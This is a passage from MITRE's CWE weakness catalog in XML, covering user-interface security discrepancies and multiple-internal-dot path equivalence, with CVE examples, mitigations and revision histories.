         <Extended_Description>When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the product does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the product only implements "restrict SOME".</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
		 <Weakness_Ordinalities>
		   <Weakness_Ordinality>
             <Ordinality>Primary</Ordinality>
           </Weakness_Ordinality>
		 </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1446</Reference>
               <Description>UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1446</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>User interface inconsistency</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This entry is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">User Interface Discrepancy for Security Feature</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">User Interface Discrepancy for Security Feature</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="447" Name="Unimplemented or Unsupported Feature in UI" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="446" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="671" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Perform functionality testing before deploying the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0127</Reference>
               <Description>GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0127</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0863</Reference>
               <Description>Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0863</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0865</Reference>
               <Description>Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0865</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0979</Reference>
               <Description>Web browser does not properly modify security setting when the user sets it.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0979</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unimplemented or unsupported feature in UI</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="448" Name="Obsolete Feature in UI" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A UI function is obsolete and the product does not warn the user.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="446" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Obsolete feature in UI</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="449" Name="The UI Performs the Wrong Action" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The UI performs the wrong action with respect to the user's request.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="446" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Perform extensive functionality testing of the UI. The UI should behave as specified.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1387</Reference>
               <Description>Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1387</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0081</Reference>
               <Description>Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0081</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1977</Reference>
               <Description>Product does not "time out" according to user specification, leaving sensitive data available after it has expired.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1977</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>The UI performs the wrong action</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="45" Name="Path Equivalence: 'file...name' (Multiple Internal Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="44" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="165" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Internal Dot - 'file...dir'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Internal Dot - 'file...dir'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="450" Name="Multiple Interpretations of UI Input" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="357" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Interpretations of UI Input</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="451" Name="User Interface (UI) Misrepresentation of Critical Information" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.</Description>
         <Extended_Description>
            <xhtml:p>If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.</xhtml:p>
            <xhtml:p>UI misrepresentation can take many forms:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the product or the environment the product is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.</xhtml:li>
                  <xhtml:li>Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.</xhtml:li>
